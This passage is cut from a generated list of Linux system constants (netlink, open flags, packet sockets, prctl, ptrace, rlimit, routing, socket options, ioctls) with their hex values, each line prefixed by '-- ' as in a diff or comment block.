-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x8
-- O_ASYNC = 0x1000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x100
-- O_DIRECT = 0x8000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x10
-- O_EXCL = 0x400
-- O_FSYNC = 0x4010
-- O_LARGEFILE = 0x2000
-- O_NDELAY = 0x80
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x800
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x80
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x4010
-- O_SYNC = 0x4010
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x20002401
-- PERF_EVENT_IOC_ENABLE = 0x20002400
-- PERF_EVENT_IOC_ID = 0x40042407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-- PERF_EVENT_IOC_PERIOD = 0x80082404
-- PERF_EVENT_IOC_REFRESH = 0x20002402
-- PERF_EVENT_IOC_RESET = 0x20002403
-- PERF_EVENT_IOC_SET_BPF = 0x80042408
-- PERF_EVENT_IOC_SET_FILTER = 0x80042406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = 0xffffffff
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_THREAD_AREA = 0x19
-- PTRACE_GET_THREAD_AREA_3264 = 0xc4
-- PTRACE_GET_WATCH_REGS = 0xd0
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKDATA_3264 = 0xc1
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKTEXT_3264 = 0xc0
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKEDATA_3264 = 0xc3
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKETEXT_3264 = 0xc2
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SET_THREAD_AREA = 0x1a
-- PTRACE_SET_WATCH_REGS = 0xd1
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x6
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x9
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x5
-- RLIMIT_NPROC = 0x8
-- RLIMIT_RSS = 0x7
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x40047307
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x40047309
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x467f
-- SIOCOUTQ = 0x7472
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x80047308
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x1
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x80
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x2
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0xffff
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1009
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x20
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x1029
-- SO_DONTROUTE = 0x10
-- SO_ERROR = 0x1007
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x8
-- SO_LINGER = 0x80
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0x100
-- SO_PASSCRED = 0x11
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x12
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1e
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x1028
-- SO_RCVBUF = 0x1002
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x1004
-- SO_RCVTIMEO = 0x1006
-- SO_REUSEADDR = 0x4
-- SO_REUSEPORT = 0x200
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x1001
-- SO_SNDBUFFORCE = 0x1f
-- SO_SNDLOWAT = 0x1003
-- SO_SNDTIMEO = 0x1005
-- SO_STYLE = 0x1008
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x1008
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x5407
-- TCGETA = 0x5401
-- TCGETS = 0x540d
-- TCGETS2 = 0x4030542a
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
